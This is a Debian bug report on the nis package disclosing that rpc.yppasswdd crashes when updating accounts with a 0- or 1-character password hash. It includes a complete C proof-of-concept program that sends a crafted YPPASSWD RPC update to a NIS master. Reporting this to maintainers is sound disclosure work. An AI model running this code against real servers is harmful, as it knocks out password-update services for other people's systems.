Source: nis Version: 3.17.1-1 Severity: important Tags: security I'm forwarding this on behalf of Jimm Scott to the BTS:
----cut---------cut---------cut---------cut---------cut---------cut----- To rephrase the issue: rpc.yppasswdd crashes when you try to update any record with a password hash length of 0 or 1 character (so any account with just an * or x in the second field). Code below can be used to poke these accounts and make it crash. Usage: just try to update the password on such an account. Kind regards, Jimmy Scott #include <time.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <rpc/rpc.h> #include <rpcsvc/ypclnt.h> /* XXX BEGIN - FROM YPPASSWD.H */ struct xpasswd { char *pw_name; char *pw_passwd; int pw_uid; int pw_gid; char *pw_gecos; char *pw_dir; char *pw_shell; }; typedef struct xpasswd xpasswd; struct yppasswd { char *oldpass; xpasswd newpw; }; typedef struct yppasswd yppasswd; #define YPPASSWDPROG ((u_long)100009) #define YPPASSWDVERS ((u_long)1) #define YPPASSWDPROC_UPDATE ((u_long)1) //extern bool_t xdr_xpasswd (XDR *, xpasswd*); //extern bool_t xdr_yppasswd (XDR *, yppasswd*); /* XXX END - FROM YPPASSWD.H */ /* XXX BEGIN - FROM YPPASSWD_XDR.C */ static bool_t xdr_passwd (XDR *xdrs, xpasswd *objp) { if (!xdr_string (xdrs, &objp->pw_name, ~0)) return FALSE; if (!xdr_string (xdrs, &objp->pw_passwd, ~0)) return FALSE; if (!xdr_int (xdrs, &objp->pw_uid)) return FALSE; if (!xdr_int (xdrs, &objp->pw_gid)) return FALSE; if (!xdr_string (xdrs, &objp->pw_gecos, ~0)) return FALSE; if (!xdr_string (xdrs, &objp->pw_dir, ~0)) return FALSE; if (!xdr_string (xdrs, &objp->pw_shell, ~0)) return FALSE; return TRUE; } bool_t xdr_yppasswd (XDR *xdrs, yppasswd *objp) { if (!xdr_string (xdrs, &objp->oldpass, ~0)) return FALSE; if (!xdr_passwd (xdrs, &objp->newpw)) return FALSE; return TRUE; } /* XXX END - FROM YPPASSWD_XDR.C */ void usage(char *prog) { printf( "usage: %s <master> <oldpw> <user> <newpw> <uid> " "<gid> <gecos> <dir> <shell>\n", prog ); exit(1); } int main(int argc, char **argv) { int status; char *master; struct yppasswd yppwd; struct timeval TIMEOUT = {0, 0}; CLIENT *clnt; // Setup prog if (argc != 10) usage(argv[0]); master = argv[1]; // Setup RPC client printf("Setup RPC...\n"); clnt = clnt_create (master, YPPASSWDPROG, YPPASSWDVERS, "udp"); clnt->cl_auth = authunix_create_default (); // Prepare YPPASSWD call printf("Setup YPPASSWD...\n"); memset (&yppwd, '\0', sizeof (yppwd)); memset ((char *) &status, '\0', sizeof (status)); yppwd.oldpass = argv[2]; yppwd.newpw.pw_name = argv[3]; yppwd.newpw.pw_passwd = argv[4]; yppwd.newpw.pw_uid = atoi(argv[5]); yppwd.newpw.pw_gid = atoi(argv[6]); yppwd.newpw.pw_gecos = argv[7]; yppwd.newpw.pw_dir = argv[8]; yppwd.newpw.pw_shell = argv[9]; // Fire in the hole!! printf("Sending packet...\n"); clnt_call (clnt, YPPASSWDPROC_UPDATE, (xdrproc_t) xdr_yppasswd, (char *) &yppwd, (xdrproc_t) xdr_int, (char *) &status, TIMEOUT); } ----cut---------cut---------cut---------cut---------cut---------cut----- Regards, Salvatore